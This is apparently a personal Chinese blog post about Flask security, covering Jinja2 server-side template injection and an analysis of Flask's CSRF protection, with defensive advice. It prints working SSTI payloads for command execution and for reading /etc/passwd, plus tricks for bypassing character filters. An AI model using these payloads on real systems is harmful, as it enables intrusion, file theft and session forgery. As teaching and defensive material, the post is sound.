flask&ssti&csrf

最近”闲的”没事研究了一下flask框架的防护问题,主要是ssti与csrf。

10号前一直在搞用flask写的bms,算是荒废掉了。。
先说一句废话,七牛CDN有个测试域名,一段时间后失效,失效后需要替换为自己备案后的域名进行CDN加速,在这里出现了一个问题,在hexo主题配置文件将URL换为自己的CDN域名后,用之前的域名上传的图片就找不到了(因为之前的域名已经被废弃,无法解析)
这时候可以 hexo clean 然后 hexo g,重新把md文件渲染成html文件,这样里面产生的图片链接的URL前缀就是我们新配置的CDN域名。

参考资料

https://mp.weixin.qq.com/s/Lj4nCz0hag-AKQF_s79fQw
https://misakikata.github.io/2020/04/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E4%B8%8ESSTI/#%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E6%A6%82%E8%BF%B0
https://xz.aliyun.com/t/6885
http://shaobaobaoer.cn/archives/660/python-flask-jinja-ssti
https://www.anquanke.com/post/id/188172

SSTI

ssti就是服务器端模板注入(Server Side Template Injection)
模板指的是现成写好的东西,只需要传入一些变量到模板,然后渲染成html页面。模板是写好的,而变量是每次需要传入的。
不正确地使用模板引擎进行渲染时,会出现SSTI漏洞。(jinja2)
在flask中,使用jinja2模板渲染引擎,有两种渲染模板的方法:render_template()和render_template_string(),两种方法的区别是第一种指定一个模板文件(.html),第二种则规定了需要传入一个字符串,把html代码写到字符串中。
出现问题的是第二种渲染方式(我写bms的时候用的是第一种。。本来想写写防御来着,但是根本不存在利用点),当显示方式为直接获取变量时,如

1
2
person['name']=request.args.get('name')
hello ,{{person.name}}

这样的话传入

1
?name={{7*7}}

的话显示的就是7*7,因为这样会把传入的内容当作字符串进行处理,而非模板语句。
如果是这样:

1
2
person['name']=request.args.get('name')
hello ,%s %person['name']

通过字符串格式化的方式传入内容,模板语句会被解释执行。

SSTI利用

任何漏洞的目的是实现个人意图,比如getshell,读取文件。
对于SSTI的利用,我遇到的主要是通过获得config里面的secret key进行伪造session,模拟管理员登录;或者通过实例化os反弹shell,或者通过file、open对象进行文件读取。
__class__获取当前实例的对象,__mro__获得父类链,__subclasses__获得当前类所有的子类,__init__实例化一个类,__globals__获取所有可用的方法与变量。
举例:
命令执行:

1
{{"".__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}}

过滤与绕过

过滤引号

request.args是Flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤:

1
?name={{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/tmp/cmd.py

过滤双下划线

1
?name={{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read()}}&class=__class__&mro=__mro__&subclasses=__subclasses__

过滤中括号

首先明白中括号是什么作用:从字典中取值。

1
globals["os"]==globals.os 所以可以用__getitem__绕过。

过滤点号

1
"".__class__等价于""["__class__"]

关键词过滤

思路是进行拼接。

1
{{"".__getattribute__("__cla"+"ss__")}}

SSTI防御

首先是尽量不使用render_template_string(),如果用的话,尽量不使用格式化字符串的形式;如果必须使用的话,要建立相对强的过滤规则,尤其是对小括号的过滤,过滤小括号后就很难执行命令了。
对于关键词过滤,我的思路是进行预处理,将接收到的字符串中的引号,加号等特殊符号正则匹配去掉后再进行黑名单匹配。

flask csrf分析

开口就是老csrf了,先分析分析源码

首先

1
CSRFProtect(app)

,跟进CSRFProtect

然后有一个app.before_request修饰的方法,说明在请求前执行。
该方法进行

1
self.protect()

跟进self.protect()
使用方法validate_csrf尝试验证token的正确性,token为self._get_csrf_token

其实对URLSafeTimedSerializer这个我不是太熟悉,我对他的理解是产生一个session,session包括三个字段,base64加密的数据字段,timestamp,签名。
然后产生的token就是获取序列化后的session的数据字段的

1
session[field_name]

中的数据。

生命流程

第一次访问,产生session与token,设置过期时间
第二次包括以后的访问在头部或者表单中携带token,访问前进行验证,验证通过则允许访问。除了token外还有请求头,同源策略等验证

CSRF防护

就flask的csrf防护方法而言,主要是防止hacker拿到token,主要需要防范xss,比如上述提到的ssti会导致xss。